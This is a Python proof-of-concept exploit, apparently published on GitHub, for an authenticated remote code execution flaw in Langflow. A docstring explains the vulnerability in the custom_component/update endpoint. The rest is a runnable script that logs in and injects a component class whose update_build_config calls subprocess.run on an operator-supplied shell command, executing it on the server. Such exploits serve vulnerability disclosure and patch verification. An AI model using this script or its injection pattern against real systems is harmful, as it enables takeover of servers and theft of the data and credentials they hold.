# Archived for authorized security research only.
# Source: https://github.com/rmhowe425/POC-CVE-2026-107329 (see README for attribution/license)
# Exploit Title: Langflow: Authenticated RCE via Callback Argument Injection
# Exploit Author: Richard Howe <rhowe425@gmail.com>
# Vendor Homepage: https://www.langflow.org/
# Software Link: https://www.langflow.org/desktop
# Tested on: Ubuntu 22.04, Langflow version 1.10.0

"""
Vulnerability Details
---------------------
POST /api/v1/custom_component/update compiles attacker-supplied Python into a
live component instance, then calls update_build_config(build_config, field_value,
field_name) on it — where field_value comes directly from the request body with
no sanitisation. An attacker overrides update_build_config() to treat field_value
as an OS command, giving them arbitrary code execution under the Langflow process
account. Both the code and the argument to that code are attacker-controlled.

Root cause: prepare_global_scope() and build_class_constructor() in validate.py
exec() the submitted module and class before the callback dispatch — there is no
validation of what the compiled instance does when its methods are called.

Requires a valid account. No admin privileges needed.
CWE-94 | CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.9 Critical)

PoC Summary 
-----------
1. Authenticates with Langflow.
2. Submits a crafted POST to /api/v1/custom_component/update containing:
     - A Component subclass that overrides update_build_config() to call
       subprocess.run(field_value, shell=True, check=False)
     - The attacker's OS command as the "field_value" request field
3. Langflow compiles the class and calls update_build_config() with the
   supplied command as the field_value argument, executing it server-side.
4. A clean HTTP 200 response confirms execution. The vulnerability is a blind command injection / RCE
"""
import argparse
from requests import post

TIMEOUT = 15


def authenticate(base_url: str, username: str, password: str) -> dict:
    """
    Authenticates with Langflow instance.

    Parameters
    ----------
    base_url : str
        URL for target Langflow instance.
    username : str
        Langflow login username.
    password : str
        Langflow login password.
    
    Returns
    -------
    HTTP auth header for Langflow.
    """
    endpoint = "/api/v1/login"

    try:
        resp = post(
            base_url + endpoint,
            data={"username": username, "password": password},
            timeout=TIMEOUT,
        )
        resp_json = resp.json()
    except Exception as e:
        raise RuntimeError(f"Unable to authenticate with Langflow: {e}")

    if resp.status_code != 200 or not resp_json.get("access_token"):
        print(f"[!] Login failed: HTTP {resp.status_code} - {resp.text}")
        exit(1)

    return {"Authorization": f"Bearer {resp_json['access_token']}"}


def trigger_vuln(base_url: str, auth: dict, command: str):
    """
    Triggers the vulnerability

    Parameters
    ----------
    base_url : str
        URL for target Langflow instance.
    auth : dict
        HTTP auth header for Langflow.
    command : str
        Bash command.
    
    Returns
    -------
    requests.Response object
    """
    endpoint = "/api/v1/custom_component/update"

    CODE = """\
import subprocess

from langflow.custom import Component
from langflow.io import Output

class PwnComponent(Component):
    display_name = "Probe"
    name = "PwnComponent"
    outputs = [Output(display_name="Out", name="out", method="run")]

    def update_build_config(self, build_config, field_value, field_name=None):
        # field_value is attacker-controlled — passed verbatim from the request.
        # subprocess.run with check=False never raises on non-zero exit codes,
        # ensuring the endpoint returns 200 regardless of command outcome.
        subprocess.run(field_value, shell=True, check=False)
        return build_config

    def run(self):
        return "triggered"
"""

    data = {
        "code": CODE,
        "field": "any_string",
        "field_value": command,
        "template": {},
        "tool_mode": False,
    }

    try:
        resp = post(
            url=base_url + endpoint,
            headers=auth,
            json=data,
            timeout=TIMEOUT,
        )
    except Exception as e:
        print(str(e))
        exit(1)

    return resp


def main():
    parser = argparse.ArgumentParser(description="Langflow: Authenticated RCE via Callback Argument Injection")
    parser.add_argument("-url", "--url", required=True, help="Target URL, e.g. http://192.168.1.30:7860")
    parser.add_argument("-uname", "--username", required=True, help="Langflow username")
    parser.add_argument("-pword", "--password", required=True, help="Langflow password")
    parser.add_argument("-c", "--command", required=True, help="OS command to execute on the server")
    args = parser.parse_args()

    # Authenticate with Langflow
    print(f"[+] Authenticating as {args.username}")
    auth = authenticate(base_url=args.url, username=args.username, password=args.password)

    # Trigger vulnerability
    print("[+] Triggering vulnerability: POST /api/v1/custom_component/update")
    resp = trigger_vuln(base_url=args.url, auth=auth, command=args.command)

    print(f"[+] Response HTTP {resp.status_code}")


main()
